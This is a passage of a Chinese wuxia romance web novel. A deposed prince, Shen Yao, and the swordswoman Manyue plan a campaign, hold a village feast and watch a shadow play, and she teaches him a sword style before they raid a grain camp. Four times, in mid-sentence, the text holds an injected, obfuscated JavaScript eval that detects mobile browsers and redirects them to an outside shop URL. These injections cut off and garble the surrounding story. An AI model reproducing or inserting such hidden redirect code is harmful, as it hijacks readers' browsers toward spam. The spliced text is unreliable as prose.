小亭趴到沙盘边,指着那两个圈圈,问:“那我们是不是要先把吴州并州打下来?” “正是。”梅英道,“并州兵马已系数编入我方麾下,并州太守又是个忠义直臣,相信只需太子亲自走一趟,攻之以德,解了并州缺粮之困,对方必可就可倒之以戈,举全州之力做我方后盾。” “至于吴州……”梅英道,“吴州太守胡光,是左仪门生,虽是新官上任,但手段了得。除了我麾下这八千亲兵,吴州的军政大权都集中在他手中。” “需要我们怎么做才能打败他?”沈曜问。 梅英摇头:“你们什么都不用做,吴州的布防我最熟悉,把城里的兵马交给我,五天之内,我必可拿下整个吴州。” 沈曜微顿。 “怎么?太子殿下觉得我不行?”梅英问。 那倒不是。城里精兵都交给梅英,万一梅英反了怎么办?沈曜最担心的是这个。 他眼神示意雕弓:你跟着梅英一起。 毕竟雕弓打得过梅英,雕弓也忠心。 谁知雕弓不看他。 满月捣了他一拳,笑问:“怎么,看你心驰神往,想亲自去打下吴州不成?” 他回过神来,道:“这倒不是。梅将军经验丰富,必能凯旋。只是请将军给我留下千把将士,过两天,我还有大用。” “没问题。”梅英爽朗一笑,手上的木杆已经指到凉州、蜀州。 “听闻凉州在打仗,应该没空理我们。等咱们打下吴州并州,可以去找归舟将军谈合作。” “至于蜀州,蜀州紧邻吴州,兵强马壮,必须想办法稳住。” 满月肯定道:“蜀州不是敌人。” 满月开口,便没人质疑。 梅英木杆又指到京畿:“那就只剩这里。太子,你在朝中可有心腹?有没有办法让他们拖住左仪,让他晚些对我们用兵?” 沈曜尴尬:他从前以为江山归他乃天经地义,还真没学过法术势,更没培养过什么心腹。 好在他也不是完全没有准备。 他坏笑道:“我给京城那边放了些假消息,他们只有上赶着送粮食的份儿,一时半会儿打不过来。” 京城。 埋伏在成纪县的探子又派信鸽来报信: 满月女侠似乎伤了元气,迟迟没有苏醒。 沈曜在地震后大肆搜刮民财,百姓怨声载道,城中已经出现了灾民暴动。 今天中午,连梅英将军都和沈曜闹掰了,撂下一个烂摊子,急匆匆带着两州的兵马出了城。 更重要的是,城中更缺粮了。 有的百姓出城卖粮,但是,没人卖给他们。 左仪读完信,满意地笑了。 粮食的事情,他同各州都打过招呼,不管是官府还是商户,都不能给成纪县卖粮。 其实更令他舒畅的是沈曜的行为。 侯意平死后,沈曜的教育都是他来安排。果然,他没出岔子,这孩子,真叫他教育成了扶不起的阿斗。 他随手把密信给了李巍。 “李爱卿,成纪百姓受了灾,孤实难心安。不知道前日派去送粮的车队如今走到哪里了?” 李巍看过信,眉头微皱,但很快又舒展开来。 “回左太尉,粮车沉重,山路难行,还要多走些时日。”他道。 左仪放下心来,慢悠悠喝了杯茶,道:“粮食金贵,快些走,别叫城里饿死人,更不要起动乱。万一起了动乱,太子不明不白的死在城里,我会愧对先帝的。” 李巍道:“太尉仁人之心天地可鉴,城中百姓定能体会到太尉的拳拳爱民之心。” 傍晚。 府门大开。 当官的换了常服,打水烧柴,摆桌子,擦椅子,好不勤快。 百姓们拎着家里幸存下来的鸡鸭鹅油盐酱,喜气洋洋,涌进县衙。 满月苏醒,梅英归顺,百姓安定。 沈曜说,这是好事,必须得大摆宴席,好好庆贺一番。 雕弓初听这个想法时想要制止。毕竟,县衙里的存粮,其实已经撑不过两天。 沈曜自小大手大脚惯了,哪在乎这些,豪横道:“那就把后两天的存粮全拿出来摆宴席。我算过,明天早上,京里的人一准会给咱们送粮。” 雕弓无奈叹息,满月一笑了之。 倒是擎苍小亭兄妹最爱热闹,一听要办宴席,请人的请人,烧菜的烧菜,立刻便忙活起来。 小亭不愧是在万香楼当过大厨的人,守在厨房,领着两个打下手的小丫头,过不多时就做出了好多菜。 今日百无禁忌,牛羊猪鸡鸭鹅她可以随便拿随便用,所以,她几乎复原了一整个万香楼的美食。 好多人围观,好多人赞叹! 小亭便更卖力了,想把自己的好展示给全天下人看。 擎苍出门招呼人,许是他这几天施粥认识了太多人,他一忽悠,什么叔婶大爷,什么姑娘小伙,凡是能来的,呼啦啦都来了。 擎苍热情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434636|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的跟人聊天,带人入座,招呼人倒茶。沈曜就在后面跟着。 他不认识那么多人,更没经历过这种不讲礼仪规矩,只聊家长里短的热闹场面。他有点无所适从。 谁知道,偏远小县,遇见个过期的太子,也似遇见了触不可及仙人。乡亲们拉着他问东问西,问他京城的繁华,问他皇宫的生活,问他想不想父母,问他今后当不当皇帝,问他各种各样稀奇古怪的问题。 他能认真回答的问题很少,大多时候就是陪笑,偶尔开一两句玩笑,把奇奇怪怪的问题一揭而过。 有个专门说媒的吴大娘,也不知怎么想的,拉着他问:“太子您有没有婚配呀?咱们成纪县的姑娘漂亮又能干,您要不要在这里纳个妃?” 沈曜听这话,难得认真一回,答:“我有中意的姑娘了。” 他说着,回头,看天,傻笑。 满月坐在一颗老榆树上,看热闹,躲懒。 偶尔也和莫名其妙朝着她傻笑的沈曜招招手。 雕弓拿着两碗酒,施展轻功,爬到满月身边,挨着她坐下。 “酒坊老板自己酿的米酒,今儿一口气搬来了十几坛,你尝尝。” 满月接了酒,喝一口,酒不烈,但香醇,有余甘。 她晃着碗里的酒,看着厨房方向,笑道:“小亭似乎喜欢你,你瞧,她做菜时总是找你。” “她还小,等再大些,看了大好河山,知道自己想要什么了,兴许就忘了儿时过客了。”雕弓也喝口酒,似是评价一件与自己无关的事情。 满月柔声道:“是啊,还小。” 雕弓眨眨眼睛,道:“我瞧着沈曜待你有些不同。” 满月爽朗一笑:“我知道。” “那你怎么想?”雕弓问。 满月还是笑,道:这小孩这两天瘦下来了,婴儿肥没了,一张脸好看得很。” 雕弓也笑了:“原来你喜欢脸。” 满月道:“怎么?若论武力、论心志,全天下未必有我瞧得上的男儿。还是看脸来得实在。” “但入宫为妃为后,不像你的作风。” “谁说我要入宫了?”满月笑得不甚在意,“不过是西行路漫漫,找个乐子。如今在宫外,他来,我就不拒。等他回了宫,他就算请我去当皇后,我也不会答应。” 雕弓喝尽碗中酒,玩笑道:“西行路漫漫,这样的事你以前是不是也没少干?” 满月道:“是啊,西北三州的美男子,三年间我玩了个遍。” “艳福不浅哟,艳福不浅。”雕弓点头沉思。 满月一拳打在他肩上,笑嗔:“雕弓,我敢说你还真敢信呀?把我满月当什么人了?” 雕弓摸了摸他左肩,笑:“这么多年了,打我还是不知道换个地方。” 满月随手便又打一拳:“打你哪来那么多讲究?” 他俩正闹着,树下突然跑来一个小丫鬟,脆生生喊:“满月女侠,我家小姐找您。” 满月一看,这小丫头她见过,是城里张员外长女的贴身丫鬟。她从前给张员外保过镖。 张员外家的小姐? 她想了想,跟雕弓说,该是有喜事,我去瞧瞧。 43. 莫沾王权路 满月被人叫走,雕弓觉得,他好大一个男儿,明晃晃的在树上躲懒很不像话。 于是他从树上跳下去,决定找个更隐蔽的地方躲懒。 正在这时,沈曜把他叫住,瞪着一双眼睛,把他拉到公堂。 雕弓直觉,沈曜找他应该不是什么好事。 果然,只听沈曜急呼呼开口:“你跟满月是不是青梅竹马?” 雕弓觉得沈曜刚才可能吃多了酸果子,整个人说话时都皱巴巴的。他抑住想笑的冲动,坦然道:“我们七岁便一起学武,说青梅竹马也合情理。” 沈曜立刻便问:“那你喜不喜欢满月?” 雕弓一愣,他没想到,太子小朋友做事真是一点也不拖泥带水。 看沈曜这样严肃,他也不敢乱说:“我二人自小一起长大,相互视对方为家人,论喜欢,是有的。但是说到男女之情,我一个平庸之辈,年少时随波逐流,做了对不起满月师妹的事情,她不怪我已是万幸,我再不敢奢求其他。” 此话一出,沈曜一把搂着雕弓的肩,开心道:“雕弓,你不愧是我的好兄弟。” 雕弓眼睛一转,道:“太子你待我好些,等你成了,我也算你半个大舅哥。” 沈曜更开怀:“你小子真精,这就攀上亲戚了!想得美!” 他说罢,凑近雕弓几分,讨好道:“先跟我说说,满月喜欢怎样的男儿?我怎样才能得她喜欢?” 雕弓推开沈曜,仔细端详他好一会儿,帮他正理一下衣襟,拍拍他肩膀道:“只一条,少吃饭,别发胖,保持你现在这个身形,就不会出错。” 不出满月所料,张员外家有喜事。 张员外的女儿看中了曹主簿家的公子,员外家托媒人谈了几次,都叫曹公子给婉拒了。 谁承想,地动过后,曹公子那边主动来提亲了。 人就是这样奇怪,先前主动提亲还没个着落的时候,员外急得跟什么似的。如今人家主动来了,张员外却免不多想几分。 “曹公子前后态度变化这样大,他此时突然来提亲,会不会是另有隐情?”老员外不放心,知道满月见多识广,特意跟她打听。 “什么隐情不隐情的,依我说,不过就是前几天我与曹公子在同一个屋檐下避难,他看见了我的真容,看我漂亮,就动了心。”张大姑娘被张员外宝贝似的养大,为人也爽利,有什么便说什么。 “爹爹你若非要找出点原因来,那兴许是这几天咱们家捐钱捐物,曹公子喜欢咱们心善。毕竟曹公子也是个良善之人。”说到这,张大姑娘的脸上浮现出一点娇羞。 满月看着张大姑娘喜上眉梢的兴奋模样,也受其感染,笑眯眯道:“我也觉得张大姑娘说的不错。” 她怕张员外不放心,便又补充道:“我知张员外爱女心切。但我与曹公子也算相熟,知他是个有远大抱负的人,从前他总说,天下未靖不言家,从未想过早早娶妻生子。兴许这次灾难,他又悟出些别的道理,加之张大姑娘确实讨人喜欢,便有了这桩喜事。如若员外还是不放心,我亲自帮你去问问也无妨。” “不用问不用问。”张大姑娘听了满月的话更加高兴,她凑在满月身边坐下,又信誓旦旦对父亲道,“夫妻之间贵在一个信任,我信他。更何况,他家巷子左邻右舍都有我的眼线,他家要是真有什么不好的事情,我也早该知道了才对。我这边没有消息,便是没问题。” 满月和张员外听着,觉得张大姑娘的话很有道理,但似乎又不那么对劲。 算了,人家的家事,满月不管就是。 反正张大姑娘是真心喜欢曹公子,她今晚也是真的高兴。 高兴到把全成纪的戏班子都请去了县衙,请全县百姓喝酒听戏,不醉不归。 满月回去的时候,沈曜已经在最前排占好了座位,没怎么认真听戏,倒是时刻看着大门口,关注满月回没回来。 “满月,快来这里!”一见满月,他眉开眼笑,挥舞着梨花肘子大声呼喊。 满月不知怎么,只觉得那时候的晚风很清,晚霞很美,沈曜的嗓音很亮,有人惦记的滋味很美。 她挺高兴,一屁股坐在沈曜身边的板凳上。 “小亭手艺好,菜一做出来,就被乡亲们抢光了。这肘子还是我好不容易抢到的呢。”沈曜立时便开始邀功。 满月啃着肘子,见沈曜自己只是吃青瓜,便好心提醒:“乡亲们也端来些农家菜,京城里吃不到的,你可以去尝尝。” 沈曜摇摇头:“青瓜就很好。” 雕弓说了,想要满月喜欢,就不能发胖。于是他便跟着宫里的娘娘们学,晚上只吃一点青瓜。 满月以为沈曜生活习性如此。 太阳落山后,天很快就黑了,差役们点了灯,台上咿咿呀呀用方言唱出来的折子戏,换成了普罗大众都听得懂的皮影戏。 百姓们看得认真,爱戏的擎苍也看得虔诚, 小亭才从厨房出来,偷偷给五个人多留了点好吃的,她把吃的偷偷分好,便挨着雕弓坐下。 满月啃过肘子,喝着饮子,闲适地看戏。 沈曜却总想着和满月说话,一肚子话不知如何开口,终于开口了,却像是在没话找话。 “我觉得这里挺好,宴会比宫里头热闹,还没宫里那些规矩。” 满月笑意盈盈,随口问:“宫里怎么办宴会?” “密不透风的大宫殿,演着十年没变过的歌舞戏,大臣和娘娘们笑得跟花似的,先给父皇母后敬酒,再给我敬酒。那时候听他们说我大炎朝国泰民安,听他们说我沈曜天资聪颖,我心里真是欢喜。”沈曜看一眼台上打打杀杀的小戏,拿手撑着桌子,换了个舒服的姿势,悠悠叹道:“现在想想,全是扯淡。” 满月哼道:“我就知道,有些道理,同你说上千千万万遍,都不及你亲自看一看。” 沈曜意味深长:“人也一样,有些人,只听传闻恨得牙根发痒,真正见过后,却喜欢得不得了。” 满月一笑而过。 不知那皮影戏演了什么,一段戏结束,乡亲们站起来,站到桌子上,站到树上,站到年轻父亲的肩膀上,鼓掌,大声喝彩。 沈曜听着,勾勾嘴角:“这里真好,乡亲们笑那是真心想笑,笑起来心里没有那么多弯弯绕绕,更不会跟那些大臣似的,没完没了的给我敬酒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503138|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是么?”满月眼角闪过一抹顽皮的笑意。 就在这时,县丞抱着酒坛子来了。 “太子殿下,成纪县的事,我们真该好好谢你。这杯酒,我敬你!”县丞话不多,一句说完,闷头酒干。 沈曜不愧是拥有十年宫宴经验的人,见人来了神色自若,亲切的说几句好话,也跟着干了一杯酒。 “太子殿下,有您在,成纪百姓方能大难不死,足见您福星高照,未来必当乘风破浪,福佑四方。”主簿似乎比县丞更会说话一些。 沈曜笑得一视同仁,谦虚几句,又干一杯。 老爷们敬完酒,百姓们也扎堆过来要跟太子喝酒。 “你瞧这些人精不精,将来若是沈曜哥做了皇帝,他们酒足饭饱,定会吹嘘:老子当年可是和皇上在同一张桌子上吃过饭!”小亭取笑道。 满月雕弓听了勾勾嘴角,谁也没笑出声来。 沈曜乡民不认识几个,但是来者不拒。他越喝越兴奋,越喝和人家聊得越热乎。 喝到后来,眼睛有些湿润,嘴上,已经开始和人称兄道弟。 满月本来是躲在一边看热闹的,看着架势,觉得事情有些不妙。 她想先把沈曜从人堆里抽离出来,虔诚看戏的擎苍却狠心分出一点功夫,把满月拉住,悄悄道: “别去了,让他发泄一下吧。” “这些天,京城里出了那么大的事儿,他一句不提,只是没日没夜的干活,再这么下去,好好的人就该憋坏了。” 满月了然。又往人群里看了一眼,那样好看的少年,笑得脸颊泛红,笑得眼里挂着泪珠,她莫名其妙的,生出几分心疼。 她便不再管他。 擎苍也叹了口气,见皮影戏新起了一出,好奇心又给勾了去。 “我记得这出戏京城也有,叫‘谢老贼败走关山外’。讲的是一个又老又丑又凶残的反贼,领着乱七八糟一些江湖人,很狼狈的逃出中原的故事。这里这出戏,怎么有点不一样?” 满月道:“我把这出戏的名字改了,现在这出戏,叫‘谢长东百骑出关山’。戏文也找人重新写了,虽然没法儿十分还原三十多年前的事情,但是好歹能还谢老英雄一个清白,你且仔细看吧。” 鼓声起,台上两个小影子摇摇摆摆,嘹亮的崆峒戏腔一唱一和,韵味十足。 “戚无言,我劝你莫沾王权路,” “谢长东,我厌你不知苍生苦。” “戚无言,我劝你莫把天下兵马都拱手送他人。” “谢长东,我已经偷了盟主令,从此后,天下兵马都姓了沈。” “戚无言,只恨那千余年武林传承,就这样断送在你手。” “谢长东,我知卸磨杀驴在所难免,但今日天下安宁,歌舞升平,又是我所愿。” “谢长东,这世间从无两全法。你功劳最大,我会保你荣华;我罪过太大,当避世自罚。” “戚无言,你莫自罚,苍天不赐两全法,谢长东送你两全法。你保了天下安宁,那我就放下功名,远走塞外,保它七门三十一派,薪火相传。” “谢长东,谢长东……” 44. 我俯首称臣 缺月挂疏桐。 乡亲们有家的归家,还没有家的,也回到了暂时栖身的避难处。 衙门也没落锁,后院静悄悄。 满月睡了整整五日,晚上大家都睡了,她却怎么也睡不着。 她在屋子里练了会儿内功,又换了身干净利落的衣裳,寻思着趁夜深无人,出去打套拳活动活动筋骨。 开门。 月光倾泻。 院里的老梧桐树下,沈曜挨着个烛光幽暗的纸灯笼坐着,怀抱个酒壶,望着天空发呆。 许是晚上吃多了酒,夜半天凉,沈曜也没觉得冷,他只穿着一件单衣,领口半敞着,皮肤白皙,两片锁骨清晰可见。 满月从小习武,有意无意的,赤着膀子的汉子也见过不少。结实的肌肉早就看腻了,反而这样白白嫩嫩干干净净的肌肤,她看着新鲜,甚至还生出几分怜惜。 见沈曜始终保持那姿势不动,满月有心捉弄他一下,她从袖中掏出枚银针。“嗖”得一声,银针飞射而出,正打到烛芯上。 沈曜的灯笼顷刻间就灭了。 似乎天上的星星更亮了。 沈曜愣了一下,对天喃喃:“父皇,母后,是你们来找我吗?” 满月眉头微皱,端着茶壶,踢门出去,抬脚踢了一下梧桐树的树干,树叶沙沙作响。 沈曜迷茫四顾:“满月?还不睡?” “怕你醉死在外头,给你送壶清茶,送完就走。”她说着,蹲下,把茶水倒进茶杯,递给沈曜。 沈曜接过,道谢。 满月转身便走。 沈曜茶都顾不上喝,拉住满月裙摆。 满月又往前使了些力。 沈曜反而不敢再使力,松了手,想站起来,却因为酒后头晕,起的晃晃悠悠,刚站起来,随即又跌坐在地上,有点狼狈道:“别走,陪我坐会儿。” 满月打量他两眼,看不出他究竟是醉是醒,妥协似的,挨着沈曜,倚着梧桐树坐下。 还未坐稳,沈曜轻轻开口:“我听很多人叫你小冯女侠?原来你还有别个我不知道的名字。” 满月道:“满月这名字是刚去大武宗时师父起的,是大武宗江城子辈弟子的名字。我原名叫冯兰若,‘兰若山高处’的兰若,幼时我家门口有个破庙,叫兰若寺,我爹爹图省事,随意给我起了这么个名字。” “‘兰若山高处,烟霞嶂几重。’是个好名字。冯兰若,我以后就叫你冯兰若好不好?”沈曜眼睛亮晶晶的,充满期待的注视着冯兰若。 满月愣了一下,若许年来,有人叫她满月女侠,有人叫她小冯女侠,倒是很久很久,没有谁直呼过她幼时的名字。 她有点不适应,但心底却觉得亲切。 沈曜得了她的准许,却突然有些低落:“其实我父亲也从不叫我沈曜。我还有个字,叫艾安。‘汉兴已六十馀岁,天下艾安’的艾安。我父亲说,这个字是我爷爷取的,他的意思是:按天命人伦,至我当政,大炎朝该已走过六十余载,该当如武帝之朝,百废俱兴,天下艾安。我父亲一向唤我沈艾安,教导我勿忘先辈之志。” 他顿了顿,哑声开口:“我父皇待我很好啊,自古以来皇家最看重开枝散叶,可是我们家,自打有我后,父皇就再没留宿过后宫。他说历代皇子争皇位都不乏明争暗斗,他不想让我遭受那样的危险,不如就让我做他唯一的皇子,让母后也做他地位最稳固的皇后。” 他又住嘴,再想说话时,还未开口,泪珠先噼里啪啦掉下来:“也许他真的不算个好皇帝,但是他真的是个好父亲……这些天,我总是觉得父皇母后还没走,他们好像还在宫里等着我……我总是做梦,梦到我出了一趟远门,再回家时,他们仍然在笑意盈盈的等我,陪我吃饺子,给我接风洗尘……我好想回家,好想回去见他们……但是……但是……” 他哭得太厉害,说到这里,肩膀一抽一抽的,话都说不上来。 满月迟疑了一下,抬手拍他后背,帮他顺气。 顺着顺着,衣袖便被沈曜抓住:“冯兰若,没有人等我回家了。” 满月觉得自己要完了。平日里要是有男孩子这样拽着她的袖子哭哭啼啼,她一定会烦得不行。但是今天,她心碎了一地。 继而,便是灵光一现。 “沈艾安,我教你一套剑法吧。” 沈曜被这突如其来的转折弄懵了,都忘了哭。 “你不是内力还没恢复吗?” “骗他们的。”满月眨眨眼睛,道,“放出风声去,好把要杀你我的牛鬼蛇神都引出来。” “那我也不想学。”沈曜还没哭够,有点无赖道,“酒喝得太多,站不稳。” 满月夺过沈曜怀里的酒壶,敞开,仰着脖将壶中酒近数倒入喉中。 “你不知道么,酒后练武,更有灵感。” 她说罢,拿起雕弓比武时用的那柄剑,挽个剑花,还夹带着些许内力,一剑既出,四周枝叶沙沙作响。 紧接着,她变换九个方位,翻转九种不同剑花,时而飘逸灵动,若繁花坠落九州;时而迅捷凌厉,若流星划过长空。 她凭空造出这样一套剑法,连自己都有些惊叹。惊叹之余,趁灵光未泄,她又一次变换身法,仍旧脚踏九个方位,却独创出许多剑招,剑招简单大气,剑法舒展,剑气似江水奔腾,气势磅礴。 收势,她额角汗珠盈盈,心中雀跃: “沈艾安,我考考你,你这‘汉兴已六十馀岁,天下艾安’出自那本典籍?” 沈曜看得有些入神,恍恍惚惚道:“太史公《史记》。” “我再考你,‘艾安’一词,另一次出现在《史记》中,是何处?” 沈曜思索片刻,问:“该是勾践世家的‘禹之功大矣,渐九川,定九州,至于今诸夏艾安。’亦或是河渠书的‘诸夏艾安’?” 满月宝剑入鞘,道:“总之是大禹治水。” 她说着,重新抽出宝剑,似舞剑,似吟诵:“禹抑洪水十三年,过家不入门。这第一招漂移不定,不若就叫‘过家不入门’” “‘陆行载车,水行载舟,泥行蹈毳,山行即桥。’这四招,各有各的险要,却因势利导,皆有解法。恰如禹行千里,山川湖海皆是阻拦,然山川湖海皆有其渡法。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643894|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈曜站起来,不知从哪里拾了把剑,飘飘然然的跟上满月的招式,口中亦虽剑招吟唱: “以别九州,随山浚川,任土作贡。” “通九道,陂九泽,度九山。” …… “九川既疏,九泽既洒,诸夏艾安,功施于三代。” …… “荥阳下引河东南为鸿沟,以通宋、郑、陈、蔡、曹、卫,与济、汝、淮、泗会。” “于楚,西方则通渠汉水、云梦之野,东方则通沟江淮之间。” …… “至于所过,往往引其水,益用溉田畴之渠,以万亿计,然莫足数也。” (以上文言内容引用自司马迁《史记》) 沈曜学得很快,一趟跟下来,已然把招式记了个八九不离十。 只是这套剑法太费体力,刚一收势,他便累得瘫倒在地,大口大口喘着粗气,汗水滴滴答答的落在地上。 眼角的泪痕却干了。 不似刚才那般伤感了。 他平复了一下,直接两手交叉垫在头下,平躺在石阶上。 漆黑的天幕终于划开了一条淡蓝色的口子。 他突然笑了,筋疲力尽过后诸般情绪都抛出脑后的,轻松释然的笑。 满月陪着他平躺在石阶上,听他声音,也笑了:“传闻禹之父鲧用‘堵’的办法治水,治水不成,被舜处死。禹置之死地而后生,以‘疏’的法子治水,走遍五湖四海,疏通天下江河,打通天下交通,更熟知了九州民情,收服了天下百姓。” 满月顿了一下,又道:“我总觉得,你这一路,与大禹治水挺像。这条路也许难了些,但我会陪你走,走到天下艾安。” 沈曜想说点什么,却觉得喉咙似被堵住了,什么也说不出来。 满月笑着拍拍沈曜肩膀,语重心长鼓励道:“这套剑法不是大武宗的,是我冯兰若刚才自创的,送你了。练好它,能强身健体,能战无不胜。” “这套剑法有名字吗?”沈曜问。 满月想了想,道:“叫‘九州剑法’吧。” 她坐起来,从袖中掏出个小锁,塞给沈曜。 “这是灵机锁,这块锁材质特异,能吸人内力。把它带在身上,别人的内功都伤不了你。” 沈曜也坐起来:“这样厉害的东西,这是送给我了吗?” 满月笑:“贡品,讨好未来的皇帝的。” 沈曜听了这玩笑心情舒畅,搜了搜自己的身上,就剩下了父亲传下来的一块玉佩,和母亲给自己求的一个青金石吊坠。 他把玉佩和吊坠解下来,小心翼翼的给满月戴上。 “我不爱戴首饰。”满月推道。 “不想戴就找个盒子帮我收着。这是信物,讨好未来皇后的。”沈曜道。 “未来的皇后是谁?”满月漫不经心问。 “你。”沈曜认认真真答。 “说要做皇后?”满月眨眨眼睛,道,“我这人挑得很,要做只能做皇帝,绝不做那退而求其次的皇后。” 沈曜温声道:“那就你做皇帝,我俯首称臣。” 45. 似天下在手 梧桐树下,凉如水的石阶上,一个红色劲装的姑娘,一个绸缎单衣的少年,四仰八叉的躺着,望着天空,有一搭没一搭的聊着,从月色正浓聊到霞光隐隐。 梧桐叶有露水滴下来。 沈曜身手去给满月挡:“母后说,沾了露水会生病。” 满月笑道:“我不怕这个。” 她见沈曜眼睛红红的,便道:“困了就回去睡会儿。” 沈曜揉揉眼睛,不太精神的坐起来,道:“不睡,才学了剑法,想出去试试身手。” 满月来了兴致:“要做什么?” “朝廷送赈灾粮的车队昨天就到了,但是一直藏在城外。他们以为我守不住这座城,想耗到我们弹尽粮绝,再挑起动乱,趁机把我杀掉。” 满月点点头,有一点点惊讶,惊讶于沈曜平日里顽劣,在关键时刻却能保持清醒。 “我让梅将军暗中留下了几千名士兵,本是想着找个时间领兵杀过去,把那些粮食抢过来。” “就在刚刚,我改主意了。” 沈曜说到这里,整理衣衫站起来,三分潇洒,七分不管不顾,剑指远方,道: “我要趁着现在,趁太阳升起来之前,一人一马冲出城去,用你送我的这套九州剑法,杀他们个措手不及。” 满月轻笑:“你是真没醒酒。” 沈曜见满月笑话自己,刚要辩解,却又听满月豪爽道:“给我也牵匹马来,我去给你呐喊助威!” “好!”沈艾安唇角上扬,答得豪气万丈,笑得眉眼温柔。 就在这时,又有少年人的声音传来。 “做什么?” “怎么不带我们。” “我也去!” 沈曜满月寻声环顾,见雕弓,擎苍,小亭都穿戴整齐的跑了出来。 “你俩深夜互诉衷肠我们不打扰,但是要上阵杀敌,我们可是一定要跟去的。”雕弓笑道。 “谁他么互诉衷肠?”满月笑骂一句。 小亭笑嘻嘻拉着擎苍:“哥哥,快,咱们也牵马去!” 红日初升,霞光万道金。 五匹快马踏过城郊的黄土地,激荡起一片烟尘。少年策马扬鞭,周身上下被朝阳镀了金鳞似的日光,似锃亮的盔甲。 一向骑马最快的擎苍落在了最后面。 满月拍拍她的小红马,小红马很懂事的降下速度,和擎苍的马儿并肩。 “满月女侠,我到现在都觉得今早这事儿挺荒唐的。” 满月笑道:“怕了?现在溜还来得及。” 擎苍赶紧摇头:“那不能够。我就是不习惯,从前我什么事儿都精打细算,太子殿下什么事儿都能躲就躲,我们还从来没有像今天这样,脑袋一热,就冲出来干件不要命的大事。” 擎苍想了想,又补了一句:“很不要命,很荒唐。” 满月笑出声来:“当大侠就是这样,以后就习惯了。” 她说着,眉角轻扬:“你们随便作死,我保你们好好活着。” 深山密林中,营帐外,值夜的士兵被蚊子咬了一口,骂骂咧咧的苏醒。 紧接着,就看到不远处黄土滚滚,仔细一听,炮竹似的马蹄声也越来越近。 他吓了一跳,睡意登时没了。 再仔细一看,哦,才五个人,还夹着两个姑娘。 他拍了自己一巴掌,就这几个人,有什么好大惊小怪?拿弓射几下,分分钟就能把他们给弄成敌军尸首。 等早上长官醒了还能立个大功。 天降馅饼哇! 他揉揉还没完全恢复明亮的眼睛,满地找弓箭。 突然之间,马蹄声炮仗似的在耳边响起。 紧接着,脑袋一凉。 他刚要叫唤。 人凉了。 沈曜有点歉意的看着这个士兵,他没想杀掉他的,他才学了剑法,还想找个人拆解两招呢。眼前看着挺像样一个士兵,理论上也该是大武宗花了十来年培养出来的、精英人才啊!咋也不知道还手啊? 一定是冯兰若的剑招太厉害了! 他想到这里,有点激动,挥着剑直奔主帅大帐。 雕弓赶紧跟上。他是个有职业素质的侍卫,太子出去杀人,他就得眼观六路,随时杀掉要杀太子的人。 小亭也赶紧跟上雕弓。下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678120|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识的。 擎苍愣了愣,一拍马屁股,也跟着冲了过去。他还是不会武功,乱挥着刀,骑着马横冲直撞,耍酒疯似的,在混战的人群里荒唐的出类拔萃。 小亭被他吓得够呛,也顾不上和雕弓一起帅气杀敌,扭过头去气道:“哥,你快出去,混了里面瞎凑什么热闹?真有事我可保护不了你。” 擎苍一脸得意:“我哪里添乱了,你没看我这马一冲进来,他们的队形全都乱了?” 沈曜正杀的上头,豪气道:“擎苍干的好,你想怎么冲就怎么冲,我护着你!” 雕弓疑惑的看了一眼剑招乱七八糟的沈曜,摇摇头,和满月相视而笑。 满月“元气大伤”的人设暂时不能倒,她就坐了马上,远远观望。 她自恃武功高强,只要打架,她从来都是第一个冲锋陷阵的那个。有架不打,很不符合她的作风。 然而,今天她才发现,看别人打架也是一种很奇妙的感觉。 敌众我寡,更何况,我方仅有的那四个人,有两个都毫无章法。 沈曜像个莽夫,擎苍像个醉汉。 唯一正常一点的雕弓和小亭,满月站在上帝视角,也觉得他们漏洞百出,不是出招速度不对,就是不小心露了要害,但凡对面是个武林高手,他们没准就已经成了刀下亡魂。 满月开始是看不惯的,恨不得亲自下场帮他们打。后来转念一想,又想开了:有人替你冲锋陷阵,你何必在这里挑三拣四? 她从前习惯第一个冲锋陷阵,未必是因为她喜欢,更多的,是因为她走的那条路太离经叛道,没人敢和她并肩而行。 